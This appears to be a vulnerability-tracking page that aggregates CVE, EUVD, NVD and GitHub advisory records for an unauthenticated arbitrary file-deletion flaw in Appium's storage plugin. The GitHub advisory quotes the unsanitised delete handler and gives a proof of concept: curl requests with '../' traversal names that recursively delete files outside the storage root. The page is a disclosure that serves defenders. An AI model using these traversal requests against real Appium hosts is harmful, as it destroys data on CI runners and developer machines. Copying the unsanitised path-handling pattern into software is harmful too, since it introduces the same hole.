Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Appium: Unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

CVSS 3.1 8.6 HIGHEUVD CVSS 3.1 8.6 CVSS 3.1 · [email protected] · Secondary 8.6 HIGHCVSS 3.1 · [email protected] · Primary 10.0 CRITICALCVSS_V3 Publisher rating HIGHFixed by @appium/storage-plugin 1.1.6KEV status unknown

cve-program · CVE-2026-58192

Published

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.

Read the publisher's advisory

euvd · EUVD-2026-42424

Published

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.

Read the publisher's advisory

nvd · CVE-2026-58192

Published

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.

Read the publisher's advisory

osv · GHSA-jwgx-mp9m-jwcr

Published

## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`: ```ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install [email protected] ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ``` <img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" /> ### Impact An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

4 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

20 Nov 2026 15:48:45 UTC

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value dir…

euvd · EUVD-2026-42424 · Published

20 Nov 2026 15:48:14 UTC

Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value dir…

nvd · CVE-2026-58192 · Published

20 Nov 2026 15:46:21 UTC

appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

osv · GHSA-jwgx-mp9m-jwcr · Published

23 Oct 2026 15:48:27 UTC

Appium: Unauthenticated arbitrary file/directory deletion in @appium/storage-plugin

cve-program · CVE-2026-58192 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 21 Nov 00:19 UTC · 274 of 275 readable · 270 fully read · documentation 469/469 current